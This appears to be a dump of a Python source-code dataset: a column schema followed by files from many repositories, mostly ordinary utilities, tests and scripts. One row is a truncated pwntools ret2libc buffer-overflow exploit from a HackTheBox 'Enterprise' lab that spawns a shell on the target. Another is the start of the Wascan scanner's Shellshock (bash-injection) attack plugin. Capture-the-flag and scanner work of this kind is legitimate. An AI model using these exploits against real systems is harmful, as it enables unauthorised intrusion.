hexsha
stringlengths
40
40
size
int64
6
782k
ext
stringclasses
7 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
237
max_stars_repo_name
stringlengths
6
72
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
list
max_stars_count
int64
1
53k
⌀
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
⌀
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
⌀
max_issues_repo_path
stringlengths
4
184
max_issues_repo_name
stringlengths
6
72
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
list
max_issues_count
int64
1
27.1k
⌀
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
⌀
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
⌀
max_forks_repo_path
stringlengths
4
184
max_forks_repo_name
stringlengths
6
72
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
list
max_forks_count
int64
1
12.2k
⌀
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
⌀
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
⌀
content
stringlengths
6
782k
avg_line_length
float64
2.75
664k
max_line_length
int64
5
782k
alphanum_fraction
float64
0
1
7ba228c9ebb91f432e99e55ffda30dbd5145b3e2
475
py
Python
Boot2Root/hackthebox/Enterprise/scripts/buf.py
Kan1shka9/CTFs
33ab33e094ea8b52714d5dad020c25730e91c0b0
[ "MIT" ]
21
2016-02-06T14:30:01.000Z
2020-09-11T05:39:17.000Z
Boot2Root/hackthebox/Enterprise/scripts/buf.py
Kan1shka9/CTFs
33ab33e094ea8b52714d5dad020c25730e91c0b0
[ "MIT" ]
null
null
null
Boot2Root/hackthebox/Enterprise/scripts/buf.py
Kan1shka9/CTFs
33ab33e094ea8b52714d5dad020c25730e91c0b0
[ "MIT" ]
7
2017-02-02T16:27:02.000Z
2021-04-30T17:14:53.000Z
from pwn import * context(os="linux", arch="i386") HOST, PORT = "10.10.10.61", 32812 # EIP Overwrite @ 212 junk = "\x90" * 212 re2libc = p32(0xf7e4c060) # System() re2libc += p32(0xf7e3faf0) # Exit() re2libc += p32(0xf7f6ddd5) # sh payload = junk + re2libc r = remote(HOST, PORT) r.recvuntil("Enter Bridge Access Co...
20.652174
40
0.690526
7bafec6c274cf9d61d88d5dee9bd35820795d32f
1,536
py
Python
work_stuff/payroll_calc.py
twr14152/Sandbox2
edc6405079cbbc87511ee2c194f16741c690f43f
[ "MIT" ]
null
null
null
work_stuff/payroll_calc.py
twr14152/Sandbox2
edc6405079cbbc87511ee2c194f16741c690f43f
[ "MIT" ]
null
null
null
work_stuff/payroll_calc.py
twr14152/Sandbox2
edc6405079cbbc87511ee2c194f16741c690f43f
[ "MIT" ]
null
null
null
#wage name1_wage = 0 name2_wage = 0 name3_wage = 0 name4_wage = 0 #overtime wage name1_ot = (name1_wage/2) + name1_wage name2_ot = (name2_wage/2) + name2_wage name3_ot = (name3_wage/2) + name3_wage name4_ot = (name4_wage/2) + name4_wage def wage_calc(hours, wage, ot_wage): if hours <= 40: wage_total = h...
24
73
0.63737
7bc865192cd211e420856f019dfa10ae51df1604
138
py
Python
python/python_backup/PRAC_PYTHON/Speak.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
16
2018-11-26T08:39:42.000Z
2019-05-08T10:09:52.000Z
python/python_backup/PRAC_PYTHON/Speak.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
8
2020-05-04T06:29:26.000Z
2022-02-12T05:33:16.000Z
python/python_backup/PRAC_PYTHON/Speak.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
5
2020-02-11T16:02:21.000Z
2021-02-05T07:48:30.000Z
import pyttsx from .engine import Engine from .import driver engine = pyttsx.init() engine.say('Good morning.') engine.runAndWait()
19.714286
28
0.73913
cde570f4c9d8ae905e1200a295f540732450f23a
1,123
py
Python
python/generator_tricks_for_systemprogrammer/bytesgen.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
python/generator_tricks_for_systemprogrammer/bytesgen.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
python/generator_tricks_for_systemprogrammer/bytesgen.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
# bytesgen.py # # An example of chaining together different generators into a processing # pipeline. import gzip import bz2 import re from pathlib import Path from typing import List def gen_find(filepath, top): yield from Path(top).rglob(filepath) def gen_open(paths: List[Path]): for path...
22.918367
73
0.60374
a990dc2116c09375057a0ea9acbeb7e9650ff39d
1,292
py
Python
SleekSecurity/layers/plugins/attacks/bashi.py
GitInitDev/ZohoUniv
966704837e65f58b52492b56d08e7958df3d220a
[ "Unlicense" ]
null
null
null
SleekSecurity/layers/plugins/attacks/bashi.py
GitInitDev/ZohoUniv
966704837e65f58b52492b56d08e7958df3d220a
[ "Unlicense" ]
null
null
null
SleekSecurity/layers/plugins/attacks/bashi.py
GitInitDev/ZohoUniv
966704837e65f58b52492b56d08e7958df3d220a
[ "Unlicense" ]
null
null
null
#!/usr/bin/env python # -*- coding:utf-8 -*- # # @name: Wascan - Web Application Scanner # @repo: https://github.com/m4ll0k/Wascan # @author: Momo Outaadi (M4ll0k) # @license: See the file 'LICENSE.txt' from re import search,I from lib.utils.printer import * from lib.request.request import * from lib.utils.pa...
32.3
100
0.643963
93d93f7ec75f8699a9289b9c6a6094e27d1c871f
4,395
py
Python
DataProcess/utils/data_process.py
zhangupkai/RFID_Script
9e05fad86e71dc6bd5dd12650d369f13d5a835c8
[ "MIT" ]
null
null
null
DataProcess/utils/data_process.py
zhangupkai/RFID_Script
9e05fad86e71dc6bd5dd12650d369f13d5a835c8
[ "MIT" ]
null
null
null
DataProcess/utils/data_process.py
zhangupkai/RFID_Script
9e05fad86e71dc6bd5dd12650d369f13d5a835c8
[ "MIT" ]
null
null
null
from typing import Dict # !/usr/bin/env python # -*- coding: UTF-8 -*- import config """ @Project :DataProcess @File :data_process.py @Author :Zhang Qihang @Date :2021/11/8 13:18 https://cloud.tencent.com/developer/article/1650150 """ import pandas as pd import numpy as np import myplot import myunwrap import ...
30.520833
117
0.630034
f50983cd58caf84e2147b0559b1b81beb365c72d
14,086
py
Python
21-fs-ias-lec/03-BACnetCore/src/core/storage_controller.py
cn-uofbasel/BCN
2d0852e00f2e7f3c4f7cf30f60c6765f2761f80a
[ "MIT" ]
8
2020-03-17T21:12:18.000Z
2021-12-12T15:55:54.000Z
21-fs-ias-lec/03-BACnetCore/src/core/storage_controller.py
cn-uofbasel/BCN
2d0852e00f2e7f3c4f7cf30f60c6765f2761f80a
[ "MIT" ]
2
2021-07-19T06:18:43.000Z
2022-02-10T12:17:58.000Z
21-fs-ias-lec/03-BACnetCore/src/core/storage_controller.py
cn-uofbasel/BCN
2d0852e00f2e7f3c4f7cf30f60c6765f2761f80a
[ "MIT" ]
25
2020-03-20T09:32:45.000Z
2021-07-18T18:12:59.000Z
from .storage.database_handler import DatabaseHandler, UnknownFeedError, EventNotFoundError from .security.verification import Verification from .security.crypto import create_keys from .interface.event import Event, Content from .interface.subscribed_subfeed import SubscribedSubFeed from .interface.owned_subfeed impor...
44.01875
121
0.647238
198f153c70e1f98a96e3bad97597b72473a2ae39
4,838
py
Python
sol.py
two-doges/tpf
a98f68fba40b3f07ce0ef14f6ca982e915ee3e07
[ "MIT" ]
2
2018-03-04T13:36:22.000Z
2018-03-04T13:36:33.000Z
sol.py
two-doges/tpf
a98f68fba40b3f07ce0ef14f6ca982e915ee3e07
[ "MIT" ]
null
null
null
sol.py
two-doges/tpf
a98f68fba40b3f07ce0ef14f6ca982e915ee3e07
[ "MIT" ]
null
null
null
import sys sys.path.append('..') import dataoper import randtext import re import hashlib helpstr=''' This is a program which can product random password. Please input 'a,b(,c)(,d)' a means website. b means username. c means format.Deafult is 2. d means length.Deafult is 12. input form to ...
25.597884
78
0.437784
47f4e776bb95fe04f2ece211d01d34a4afb3f5f4
525
py
Python
source/pkgsrc/devel/apenwarr-redo/patches/patch-docs_md2man.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
1
2021-11-20T22:46:39.000Z
2021-11-20T22:46:39.000Z
source/pkgsrc/devel/apenwarr-redo/patches/patch-docs_md2man.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
null
null
null
source/pkgsrc/devel/apenwarr-redo/patches/patch-docs_md2man.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
null
null
null
$NetBSD: patch-docs_md2man.py,v 1.1 2020/03/30 08:02:22 schmonz Exp $ Avoid finding older BeautifulSoup. --- docs/md2man.py.orig 2020-03-04 20:00:34.000000000 +0000 +++ docs/md2man.py @@ -1,11 +1,7 @@ from __future__ import print_function import sys, os, markdown, re -try: - from BeautifulSoup import BeautifulSo...
25
69
0.695238
4bea8ea2d326fa0f25615e32cfc1feaca65ca850
117
py
Python
Verzweigungen/Einfach/einfach.py
DietrichPaul/Einstieg-in-Python
0d28402f962773274d85e6bb169ae631c91f66ce
[ "CC0-1.0" ]
null
null
null
Verzweigungen/Einfach/einfach.py
DietrichPaul/Einstieg-in-Python
0d28402f962773274d85e6bb169ae631c91f66ce
[ "CC0-1.0" ]
null
null
null
Verzweigungen/Einfach/einfach.py
DietrichPaul/Einstieg-in-Python
0d28402f962773274d85e6bb169ae631c91f66ce
[ "CC0-1.0" ]
null
null
null
x = 12 print("x:", x) if x > 0: print("Diese Zahl ist positiv") else: print("Diese Zahl ist 0 oder negativ")
16.714286
42
0.606838
ef1e5b63af6fcc6ad1ffb1f8a5d09371c2ceb90e
1,890
py
Python
python_project/python/charsetEncoding/TestFrame.py
sinomiko/project
00fadb0033645f103692f5b06c861939a9d4aa0e
[ "BSD-3-Clause" ]
1
2018-12-30T14:07:42.000Z
2018-12-30T14:07:42.000Z
python_project/python/charsetEncoding/TestFrame.py
sinomiko/project
00fadb0033645f103692f5b06c861939a9d4aa0e
[ "BSD-3-Clause" ]
null
null
null
python_project/python/charsetEncoding/TestFrame.py
sinomiko/project
00fadb0033645f103692f5b06c861939a9d4aa0e
[ "BSD-3-Clause" ]
null
null
null
# -*- coding:utf-8 -*- import openpyxl import pprint import argparse import re import sys import os import yaml import time import re def test_args_kwargs(arg1, arg2, arg3): print("arg1:", arg1) print("arg2:", arg2) print("arg3:", arg3) def testRegx(s): #re_words=re.compile(r".*信用客户融资融券规模盯市记录不存在.*") ...
25.540541
127
0.575132
dec231f34037279adf73a34bce245bf2084b4655
5,482
py
Python
tests/test_geschaeftspartner.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
1
2022-03-02T12:49:44.000Z
2022-03-02T12:49:44.000Z
tests/test_geschaeftspartner.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
21
2022-02-04T07:38:46.000Z
2022-03-28T14:01:53.000Z
tests/test_geschaeftspartner.py
bo4e/BO4E-python
28b12f853c8a496d14b133759b7aa2d6661f79a0
[ "MIT" ]
null
null
null
import json import pytest # type:ignore[import] from bo4e.bo.geschaeftspartner import Geschaeftspartner, GeschaeftspartnerSchema from bo4e.com.adresse import Adresse from bo4e.enum.anrede import Anrede from bo4e.enum.botyp import BoTyp from bo4e.enum.geschaeftspartnerrolle import Geschaeftspartnerrolle from bo4e.enu...
38.335664
116
0.629697
dfdc2e89814c346a990fbd69596ddc26b930982c
273
py
Python
exercises/zh/exc_01_03_02.py
tuanducdesign/spacy-course
f8d092c5fa2997fccb3f367d174dce8667932b3d
[ "MIT" ]
2
2020-07-07T01:46:37.000Z
2021-04-20T03:19:43.000Z
exercises/zh/exc_01_03_02.py
tuanducdesign/spacy-course
f8d092c5fa2997fccb3f367d174dce8667932b3d
[ "MIT" ]
null
null
null
exercises/zh/exc_01_03_02.py
tuanducdesign/spacy-course
f8d092c5fa2997fccb3f367d174dce8667932b3d
[ "MIT" ]
null
null
null
# 导入spaCy并创建中文nlp对象 import ____ nlp = ____ # 处理文本 doc = ____("我喜欢老虎和狮子。") # 遍历打印doc中的内容 for i, token in enumerate(doc): print(i, token.text) # 截取Doc中"老虎"的部分 laohu = ____ print(laohu.text) # 截取Doc中"老虎和狮子"的部分(不包括"。") laohu_he_shizi = ____ print(laohu_he_shizi.text)
13.65
31
0.710623
e4bff52a4303daa479e764bd7bc204cf1f8a72b8
92
py
Python
2015/04/hawaiian-population-20150409/graphic_config.py
nprapps/graphics-archive
97b0ef326b46a959df930f5522d325e537f7a655
[ "FSFAP" ]
14
2015-05-08T13:41:51.000Z
2021-02-24T12:34:55.000Z
2015/04/hawaiian-population-20150409/graphic_config.py
nprapps/graphics-archive
97b0ef326b46a959df930f5522d325e537f7a655
[ "FSFAP" ]
null
null
null
2015/04/hawaiian-population-20150409/graphic_config.py
nprapps/graphics-archive
97b0ef326b46a959df930f5522d325e537f7a655
[ "FSFAP" ]
7
2015-04-04T04:45:54.000Z
2021-02-18T11:12:48.000Z
#!/usr/bin/env python COPY_GOOGLE_DOC_KEY = '1TakWDuZPC6ujbVTI_V1dby5LNNA_uV-RJ3JUeqZFNjs'
23
68
0.836957
39d8eefdc4ec1b1d203f4c187d8e803e4763001c
263
py
Python
exercises/es/solution_03_03.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
2,085
2019-04-17T13:10:40.000Z
2022-03-30T21:51:46.000Z
exercises/es/solution_03_03.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
79
2019-04-18T14:42:55.000Z
2022-03-07T08:15:43.000Z
exercises/es/solution_03_03.py
Jette16/spacy-course
32df0c8f6192de6c9daba89740a28c0537e4d6a0
[ "MIT" ]
361
2019-04-17T13:34:32.000Z
2022-03-28T04:42:45.000Z
import spacy # Carga el modelo es_core_news_sm nlp = spacy.load("es_core_news_sm") # Imprime en pantalla los nombres de los componentes del pipeline print(nlp.pipe_names) # Imprime en pantalla el pipeline entero de tuples (name, component) print(nlp.pipeline)
23.909091
68
0.790875
39ee622e3982db9004343e8d2f673213c9bfc201
640
py
Python
utils.py
TensorVision/MediSeg
222fcab98d82f48f09304eda3cfbfe4d6ac825b7
[ "MIT" ]
6
2016-08-15T17:57:45.000Z
2019-03-19T05:08:29.000Z
utils.py
TensorVision/MediSeg
222fcab98d82f48f09304eda3cfbfe4d6ac825b7
[ "MIT" ]
10
2016-04-11T10:20:34.000Z
2016-08-09T21:47:48.000Z
utils.py
TensorVision/MediSeg
222fcab98d82f48f09304eda3cfbfe4d6ac825b7
[ "MIT" ]
7
2016-06-21T04:08:58.000Z
2018-09-01T14:02:40.000Z
#!/usr/bin/env python """Utility functions for the MediSeg project.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import json def get_file_list(hypes, phase): """ Get a list of tuples (input, output) of files. Parameters ---------- ...
20.645161
50
0.639063
f23381d224e953ac9c20089d589d3fe93f96db02
4,607
py
Python
Packs/ApiModules/Scripts/MicrosoftAzureStorageApiModule/MicrosoftAzureStorageApiModule.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
2
2021-12-06T21:38:24.000Z
2022-01-13T08:23:36.000Z
Packs/ApiModules/Scripts/MicrosoftAzureStorageApiModule/MicrosoftAzureStorageApiModule.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
87
2022-02-23T12:10:53.000Z
2022-03-31T11:29:05.000Z
Packs/ApiModules/Scripts/MicrosoftAzureStorageApiModule/MicrosoftAzureStorageApiModule.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
2
2022-01-05T15:27:01.000Z
2022-02-01T19:27:43.000Z
import demistomock as demisto from CommonServerPython import * from CommonServerUserPython import * class MicrosoftStorageClient(BaseClient): """ Microsoft Azure Storage API Client """ def __init__(self, server_url, verify, proxy, account_sas_token, storage_account_name, api_version): super()...
38.714286
119
0.617973
f247936287832d462cbe165b0338c4a92f58fe07
473
py
Python
HackerRank/30-Days-of-Code/Day 28: RegEx, Patterns, and Intro to Databases/regex_patterns_database.py
tareqmahmud/Competitive-Programming
ad5e53300d70280bccbd5046ca01278fb246f314
[ "MIT" ]
2
2020-11-19T19:03:28.000Z
2021-01-04T19:52:11.000Z
30-Days-of-Code/Day 28: RegEx, Patterns, and Intro to Databases/regex_patterns_database.py
tareqmahmud/HackerRank
e1b9facab6582f86ea6cc63afcc640e66ba3f67e
[ "MIT" ]
null
null
null
30-Days-of-Code/Day 28: RegEx, Patterns, and Intro to Databases/regex_patterns_database.py
tareqmahmud/HackerRank
e1b9facab6582f86ea6cc63afcc640e66ba3f67e
[ "MIT" ]
null
null
null
#!/bin/python3 import math import os import random import re import sys if __name__ == '__main__': N = int(input()) gmailName = [] for N_itr in range(N): firstNameEmailID = input().split() firstName = firstNameEmailID[0] emailID = firstNameEmailID[1] gmail = re.search(...
16.310345
64
0.608879
d9a38cff010a4a4cfae8eadf3c6f3f912fe64778
4,118
py
Python
2016/day02_bathroom_security/python/src/common.py
tlake/advent-of-code
17c729af2af5f1d95ba6ff68771a82ca6d00b05d
[ "MIT" ]
null
null
null
2016/day02_bathroom_security/python/src/common.py
tlake/advent-of-code
17c729af2af5f1d95ba6ff68771a82ca6d00b05d
[ "MIT" ]
null
null
null
2016/day02_bathroom_security/python/src/common.py
tlake/advent-of-code
17c729af2af5f1d95ba6ff68771a82ca6d00b05d
[ "MIT" ]
null
null
null
"""Docstring.""" import io def get_input(): """Docstring.""" with io.open("./input.txt") as fh: puzzle_input = fh.read() sanitized_input = puzzle_input.lower().split("\n") sanitized_input = [line for line in sanitized_input if line.strip() != ''] return sanitized_input class Urinator(...
31.676923
81
0.542254
6a682df62fe85d93c8b1f532fc932237ab94b40c
3,701
py
Python
apps/facerecog/aifacerec_keras.py
Obyoxar/RobolabStatistics
08343ca3ac49df7efdac33692d7cc4b783e851f5
[ "MIT" ]
2
2017-11-30T21:12:11.000Z
2017-12-01T07:52:43.000Z
apps/facerecog/aifacerec_keras.py
Obyoxar/RobolabStatistics
08343ca3ac49df7efdac33692d7cc4b783e851f5
[ "MIT" ]
14
2017-11-14T18:12:53.000Z
2018-06-03T16:07:57.000Z
apps/facerecog/aifacerec_keras.py
Obyoxar/RobolabStatistics
08343ca3ac49df7efdac33692d7cc4b783e851f5
[ "MIT" ]
3
2018-02-05T10:40:03.000Z
2018-02-09T09:29:19.000Z
import keras.backend as K import numpy as np import os import re import robolib.datamanager.atntfaces as data def get_data(): data.get_data("AtnTFaces", True) def contrastive_loss(y_true, y_pred): margin = 1 return K.mean(y_true * K.square(y_pred) + (1 - y_true) * K.square(K.maximum(margin - y_pred, 0))...
35.932039
109
0.506079
6ab27e2c9f6c5dd629bd244e065152e336a98505
4,144
py
Python
hardware/chip/haas1000/release/aos_burn_tool/flash_program.py
wstong999/AliOS-Things
6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9
[ "Apache-2.0" ]
4,538
2017-10-20T05:19:03.000Z
2022-03-30T02:29:30.000Z
hardware/chip/haas1000/release/aos_burn_tool/flash_program.py
wstong999/AliOS-Things
6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9
[ "Apache-2.0" ]
1,088
2017-10-21T07:57:22.000Z
2022-03-31T08:15:49.000Z
hardware/chip/haas1000/release/aos_burn_tool/flash_program.py
wstong999/AliOS-Things
6554769cb5b797e28a30a4aa89b3f4cb2ef2f5d9
[ "Apache-2.0" ]
1,860
2017-10-20T05:22:35.000Z
2022-03-27T10:54:14.000Z
#!/usr/bin/env python import os, sys, re, time, json from flash_program_ll import burn_bin_files try: import serial from serial.tools import miniterm except: print("\nNot found pyserial, please install it by: \nsudo python%d -m pip install pyserial" % (sys.version_info.major)) sys.exit(-1) def get_bin...
31.633588
123
0.608108
0ae6108404951d591d190f1f7a7e9ef0343109b1
601
py
Python
mangen/writer.py
Spiritdude/zencad
4e63b1a6306dd235f4daa2791b10249f7546c95b
[ "MIT" ]
5
2018-04-11T14:11:40.000Z
2018-09-12T19:03:36.000Z
mangen/writer.py
Spiritdude/zencad
4e63b1a6306dd235f4daa2791b10249f7546c95b
[ "MIT" ]
null
null
null
mangen/writer.py
Spiritdude/zencad
4e63b1a6306dd235f4daa2791b10249f7546c95b
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # coding: utf-8 import dominate import markdown2 import os import shutil def build_file(path, doc): dirpath = os.path.join("build", os.path.dirname(path)) if not os.path.exists(dirpath): os.makedirs(dirpath) f = open(os.path.join("build", path), "w") f.write(str(doc)) ...
20.033333
78
0.650582
0af79a241a4c1e6f129faff0fb51738f18056fa1
601
py
Python
frds/data/wrds/__init__.py
mgao6767/wrds
7dca2651a181bf38c61ebde675c9f64d6c96f608
[ "MIT" ]
31
2020-06-17T13:19:12.000Z
2022-03-27T08:56:38.000Z
frds/data/wrds/__init__.py
mgao6767/wrds
7dca2651a181bf38c61ebde675c9f64d6c96f608
[ "MIT" ]
null
null
null
frds/data/wrds/__init__.py
mgao6767/wrds
7dca2651a181bf38c61ebde675c9f64d6c96f608
[ "MIT" ]
8
2020-06-14T15:21:51.000Z
2021-09-29T06:28:53.000Z
from abc import ABC import os from typing import Optional, Union, List from frds.data import DATA_DIRECTORY class WRDSDataset(ABC): source = "wrds" library: str table: str index_col: Union[str, List[str]] date_cols: Optional[Union[str, List[str]]] @classmethod @property def local_pat...
26.130435
71
0.670549
e40250dd3d195fd4f2751d1f85e4a9d50c46518d
79
py
Python
api/tests/__init__.py
aidun/seite50
761a8e76f9e4473f70a8705dce169d61bf660267
[ "Apache-2.0" ]
null
null
null
api/tests/__init__.py
aidun/seite50
761a8e76f9e4473f70a8705dce169d61bf660267
[ "Apache-2.0" ]
2
2018-05-11T18:26:18.000Z
2018-05-12T18:49:38.000Z
api/tests/__init__.py
aidun/seite50
761a8e76f9e4473f70a8705dce169d61bf660267
[ "Apache-2.0" ]
1
2018-10-10T19:52:17.000Z
2018-10-10T19:52:17.000Z
from .book_model import * from .book_view import * from .author_model import *
19.75
27
0.772152
7c8788248313f3bf3f5236c860f49c63a67dc502
364
py
Python
Lehrjahr_2/Modul_122/python/fibonacci.py
severinkaderli/gibb
5b4952cedacb3885ab4a0eb9fd6c1cab5674e3ee
[ "MIT" ]
5
2015-05-19T14:26:53.000Z
2016-06-24T17:03:03.000Z
Lehrjahr_2/Modul_122/python/fibonacci.py
severinkaderli/gibb
5b4952cedacb3885ab4a0eb9fd6c1cab5674e3ee
[ "MIT" ]
null
null
null
Lehrjahr_2/Modul_122/python/fibonacci.py
severinkaderli/gibb
5b4952cedacb3885ab4a0eb9fd6c1cab5674e3ee
[ "MIT" ]
6
2015-05-26T06:25:05.000Z
2020-04-30T07:25:30.000Z
#!/usr/bin/python3.4 # #SCRIPT: fibonacci.py #AUTHOR: Severin Kaderli #PURPOSE: fibonacci generator #USAGE: ./fibonacci.py print("Unendlicher Fibanacci-Generator") def fibonacci(): a, b = 0, 1 while True: yield a a, b = b, a+b f = fibonacci() counter = 0 for x in f: print("fib(" + str(counter) +") = " + str(x))...
18.2
46
0.653846
7ce8322e0f3b145e9654bc6011505b2d1baaa7be
8,076
py
Python
Utils/py/ActionSelection/potentialfield_generation/field_own.py
tarsoly/NaoTH
dcd2b67ef6bf9953c81d3e1b26e543b5922b7d52
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
Utils/py/ActionSelection/potentialfield_generation/field_own.py
tarsoly/NaoTH
dcd2b67ef6bf9953c81d3e1b26e543b5922b7d52
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
Utils/py/ActionSelection/potentialfield_generation/field_own.py
tarsoly/NaoTH
dcd2b67ef6bf9953c81d3e1b26e543b5922b7d52
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
from __future__ import division import math import sys import numpy as np from tools import action as a from matplotlib.patches import Circle from matplotlib import pyplot as plt from tools import Simulation as Sim from naoth import math2d as m2d from tools import tools from tools import field_info as field from tools...
45.886364
154
0.615651
8614aabd7264aada0d6b8e2efe25fbe25576976e
740
py
Python
books/PythonAutomate/pdf_word_documents/combine_pdfs.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
books/PythonAutomate/pdf_word_documents/combine_pdfs.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
books/PythonAutomate/pdf_word_documents/combine_pdfs.py
zeroam/TIL
43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1
[ "MIT" ]
null
null
null
"""combine_pdfs.py 많은 PDF파일들의 첫페이지를 제외한 페이지들을 합쳐 하나의 파일로 만들기 """ import os import PyPDF2 from pathlib import Path # meetingminutes으로 시작하는 pdf 파일 리스트 조회 pdf_files = list(Path(".").rglob("meetingminutes*.pdf")) pdf_files.sort(key=lambda x: str(x).lower()) pdf_writer = PyPDF2.PdfFileWriter() # Loop through all the PDF ...
27.407407
64
0.735135
86fafe07d6d26b594fcf5a785f7ee74158a5503e
1,617
py
Python
src/standard_module/random_module.py
HuangHuaBingZiGe/GitHub-Demo
f3710f73b0828ef500343932d46c61d3b1e04ba9
[ "Apache-2.0" ]
null
null
null
src/standard_module/random_module.py
HuangHuaBingZiGe/GitHub-Demo
f3710f73b0828ef500343932d46c61d3b1e04ba9
[ "Apache-2.0" ]
null
null
null
src/standard_module/random_module.py
HuangHuaBingZiGe/GitHub-Demo
f3710f73b0828ef500343932d46c61d3b1e04ba9
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/python # -*- coding: utf-8 -*- import random # random # 是用于生成随机数的,我们可以利用它随机生成数字或者选择字符串 # random.seed(x) # 改变随机数生成器的种子seed # 一般不必特别去设定seed,Python会自动选择seed # random.random() # 用于生成一个随机浮点数n,0 <= n < 1 # random.uniform(a,b) # 用于生成一个指定范围内的随机浮点数,生成的随机整数a<=n<=b # random.randint(a,b) # 用于生成一个指定范围内的整数,a为下限,...
18.586207
96
0.702536
d4985055476f072b9252c1f77a576ed649ea10de
8,400
py
Python
Python/adventure/beta/lib/map.py
SchickDominik/progprojects
1eb9c5e3b9445f617b56bd9ceb02f2f182d730e2
[ "MIT" ]
null
null
null
Python/adventure/beta/lib/map.py
SchickDominik/progprojects
1eb9c5e3b9445f617b56bd9ceb02f2f182d730e2
[ "MIT" ]
null
null
null
Python/adventure/beta/lib/map.py
SchickDominik/progprojects
1eb9c5e3b9445f617b56bd9ceb02f2f182d730e2
[ "MIT" ]
null
null
null
### MAP ### from lib.player import myPlayer solved_places = {'a1': False, 'a2': False, 'a3': False, 'a4': False, 'b1': False, 'b2': False, 'b3': False, 'b4': False, 'c1': False, 'c2': False, 'c3': False, 'c4': False, 'd1': False, 'd2': False, 'd3': False, 'd4': False, 'e1': False, 'e2'...
31.818182
126
0.495357
0770593ef01de5c7bdf055483a0ca413fe0b0568
1,003
py
Python
2-resources/_External-learning-resources/02-pyth/python-ds-master/data_structures/graphs/min_number_of_operations.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
2-resources/_External-learning-resources/02-pyth/python-ds-master/data_structures/graphs/min_number_of_operations.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
2-resources/_External-learning-resources/02-pyth/python-ds-master/data_structures/graphs/min_number_of_operations.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
1
2021-11-05T07:48:26.000Z
2021-11-05T07:48:26.000Z
""" Minimum number of operations required to transform a number x to y Valid operations - multiplication by 2, subtraction by 1 Ex - x = 4, y = 7 1. 4 * 2 = 8 2. 8 - 1 = 7 Answer = 2 """ from collections import defaultdict class Node: def __init__(self, value, level): self.value = value self.l...
18.574074
66
0.547358
077482c4bea0481df2e36b6bfc6e5b32250721e1
139
py
Python
tutorial/hello/hello.py
rsysio/bpf
6940f950e4813abe048dab99e27dbc9c3d2e95a5
[ "MIT" ]
null
null
null
tutorial/hello/hello.py
rsysio/bpf
6940f950e4813abe048dab99e27dbc9c3d2e95a5
[ "MIT" ]
null
null
null
tutorial/hello/hello.py
rsysio/bpf
6940f950e4813abe048dab99e27dbc9c3d2e95a5
[ "MIT" ]
null
null
null
from bcc import BPF b = BPF(src_file='mybpf.c') b.attach_kprobe(event=b.get_syscall_fnname("connect"), fn_name="hello") b.trace_print()
17.375
71
0.741007
71fc010f7364dbe6749970202ebca0db26679a09
3,135
py
Python
Textadventure/main.py
clemens2107/textadventure
870f3ff98accdadad386a2cae4bd4328341f7eb9
[ "CC0-1.0" ]
null
null
null
Textadventure/main.py
clemens2107/textadventure
870f3ff98accdadad386a2cae4bd4328341f7eb9
[ "CC0-1.0" ]
null
null
null
Textadventure/main.py
clemens2107/textadventure
870f3ff98accdadad386a2cae4bd4328341f7eb9
[ "CC0-1.0" ]
null
null
null
# -*- coding: utf-8 -*- import sys import enemies import inventory import maps from items.items import drop_list, loot # go to the next field forward def forward(player, maps): maps.forward() # go to the next field right def right(player, maps): maps.right() # go to the next field left def left(player, ma...
25.282258
76
0.588198
9c8308738fee4d74c75dd8bcb07f848c68cc025a
5,712
py
Python
test/test_npu/test_network_ops/test_soft_margin_loss.py
Ascend/pytorch
